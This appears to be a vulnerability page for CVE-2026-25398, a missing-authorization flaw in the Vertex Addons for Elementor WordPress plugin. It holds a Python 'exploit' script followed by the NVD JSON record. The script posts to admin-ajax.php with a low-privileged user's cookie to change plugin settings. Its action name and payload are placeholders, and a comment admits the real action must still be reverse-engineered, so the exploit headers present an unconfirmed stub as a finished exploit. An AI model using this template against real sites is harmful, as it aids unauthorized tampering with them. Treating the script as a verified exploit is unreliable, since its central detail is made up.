CVE-2026-25398

import requests # Exploit Title: Vertex Addons for Elementor < 1.6.4 - Missing Authorization (CVE-2026-25398) # Date: 2026-03-25 # Exploit Author: Security Analyst # Vendor Homepage: https://webilia.com/ # Software Link: https://wordpress.org/plugins/addons-for-elementor-builder/ # Version: <= 1.6.4 # CVE: CVE-2026-25398 def exploit(target_url, cookie): """ Exploit the missing authorization vulnerability to modify settings. Requires a low-privileged user session cookie (PR:L). """ ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # The action parameter triggering the vulnerable function # Note: The actual action name needs to be reverse-engineered from the plugin payload = { "action": "vertex_vulnerable_action", "setting_data": "malicious_config_value" } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.post(ajax_url, data=payload, cookies=cookie, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send request. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with valid low-privileged user cookies user_cookie = {"wordpress_logged_in_xxx": "valid_low_priv_cookie"} exploit(target, user_cookie)

{"cve": {"id": "CVE-2026-25398", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:49.357", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Webilia Inc. Vertex Addons for Elementor addons-for-elementor-builder allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Vertex Addons for Elementor: from n/a through <= 1.6.4."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en Webilia Inc. Vertex Addons for Elementor addons-for-elementor-builder permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Vertex Addons for Elementor: desde n/a hasta &lt;= 1.6.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/addons-for-elementor-builder/vulnerability/wordpress-vertex-addons-for-elementor-plugin-1-6-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}